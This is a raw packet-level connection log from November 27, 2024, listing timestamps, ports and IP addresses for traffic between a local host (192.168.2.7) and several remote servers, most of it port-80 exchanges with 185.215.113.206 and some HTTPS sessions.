Nov 27, 2024 17:58:56.541090965 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.541301966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.541440010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.541486025 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.542185068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.542380095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.542448997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.542906046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.542959929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.543052912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.543190956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.543721914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.543787003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.543869019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.543908119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.544559956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.544615030 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.544645071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.545685053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.545739889 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.545794964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.546581984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.546638012 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.546958923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.547085047 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.551275015 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:56.554995060 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.560846090 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.603177071 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:56.603182077 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.604823112 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.617714882 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.617728949 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.618118048 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.618139982 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.618238926 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:56.618252993 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:56.618639946 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.618971109 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.619064093 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.619911909 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.619985104 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.620107889 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:56.620116949 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:56.620167017 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:56.620502949 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.620558977 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.621803045 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:56.622047901 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:56.622118950 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:56.622313976 CET	49876	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.622602940 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:56.622611046 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:56.622730017 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.622739077 CET	443	49879	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.622742891 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:56.622750044 CET	443	49884	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:56.623730898 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:56.623800039 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:56.624955893 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:56.625015020 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:56.625400066 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:56.625406027 CET	443	49883	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:56.631020069 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.631501913 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.631520033 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.632563114 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.632631063 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.633070946 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.633122921 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.633404970 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.633414030 CET	443	49878	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.653023005 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.666712046 CET	49879	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.667238951 CET	49884	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:56.667238951 CET	49883	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:56.667331934 CET	443	49876	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.674027920 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:56.680041075 CET	49878	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.697046995 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.712743044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.712804079 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.713170052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.713247061 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.713458061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.714008093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.714056969 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.714133024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.714864016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.714926004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.715080976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.715322018 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.715926886 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.715960026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.715970039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.716793060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.716839075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.716864109 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.717587948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.717628956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.717652082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.718550920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.718565941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.718595028 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.718617916 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.719300032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.719342947 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.719531059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.720371008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.720383883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.720426083 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:56.720438957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.721054077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.721162081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.721863985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.721914053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.721992016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.722640991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.722683907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.722800970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.723570108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.723615885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.723745108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.724065065 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.724329948 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.724446058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.724492073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.725439072 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.725918055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.725971937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.726618052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.726778984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.726824999 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.727667093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.727796078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.728404045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.728454113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.728528976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.729293108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.729337931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.729432106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.729962111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.730010033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.730036974 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.730652094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.730701923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.730726957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.731486082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.731534958 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.731611013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.732321978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.732374907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.732547045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.733057976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.733067989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.733088017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.733115911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.733139992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.733793020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.733840942 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.734078884 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.734595060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.734646082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.734806061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.735141039 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.735218048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.735496998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.735542059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.735635042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.736156940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.736541986 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.736978054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.737042904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.737118959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.737848997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.737900972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.738004923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.738748074 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.738796949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.738960028 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.739085913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.739562035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.739669085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.739717007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.740437984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.740577936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.740634918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.741292000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.741395950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.741452932 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.742136955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.742362022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.742413044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.743016005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.743062973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.743113995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.743746996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.743853092 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.743901968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.744623899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.744750977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.744803905 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.745486975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.745554924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.746360064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.746375084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.746510029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.747328997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.747400045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.747567892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.748075008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.748100996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.748128891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.748157024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.748191118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.748840094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.748894930 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.748918056 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.749757051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.749829054 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.749864101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.750533104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.750601053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.750761032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.751101971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.751645088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.751661062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.751723051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.752363920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.752432108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.752510071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.753108978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.753168106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.753233910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.753979921 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.753993034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.754056931 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.754784107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.754796982 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.754863977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.755616903 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.755841017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.755917072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.756423950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.756508112 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.756567001 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.761231899 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:56.779715061 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.809129000 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:56.809144974 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:56.809283972 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.809308052 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.809415102 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:56.809423923 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:56.810477018 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:56.810565948 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:56.811532974 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.811619043 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.812583923 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:56.812666893 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:56.813182116 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.813205004 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.814282894 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.814361095 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.816991091 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.817089081 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.842314959 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:56.842516899 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:56.843436956 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.843533993 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.843962908 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.843971968 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.844221115 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:56.844234943 CET	443	49885	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:56.844430923 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:56.844525099 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:56.844530106 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.844547033 CET	443	49880	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:56.844671965 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:56.844734907 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:56.844746113 CET	443	49882	52.168.117.168	192.168.2.7
Nov 27, 2024 17:58:56.846249104 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:56.860598087 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:56.860619068 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:56.861435890 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:56.861444950 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:56.861550093 CET	49881	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:56.861561060 CET	443	49881	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:56.895744085 CET	49882	443	192.168.2.7	52.168.117.168
Nov 27, 2024 17:58:56.895788908 CET	49885	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:56.895814896 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.895953894 CET	49880	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:56.923280001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.923384905 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.923469067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.923525095 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.923715115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.923779964 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.923811913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.924187899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.924541950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.924555063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.924627066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.925309896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.925388098 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.925594091 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.925676107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.925884962 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.926470041 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.926487923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.926594973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.927359104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.927424908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.927449942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.927514076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.928148985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.928261995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.928452969 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.928503990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.928957939 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.929004908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.929024935 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.929311991 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.929819107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.929886103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.930041075 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.930092096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.930674076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.930762053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.930834055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.931505919 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.931561947 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.931602955 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.931616068 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.932353020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.932430983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.932504892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.933197975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:56.933271885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:56.933290005 CET	80	49850	185.215.113.206	192.168.2.7
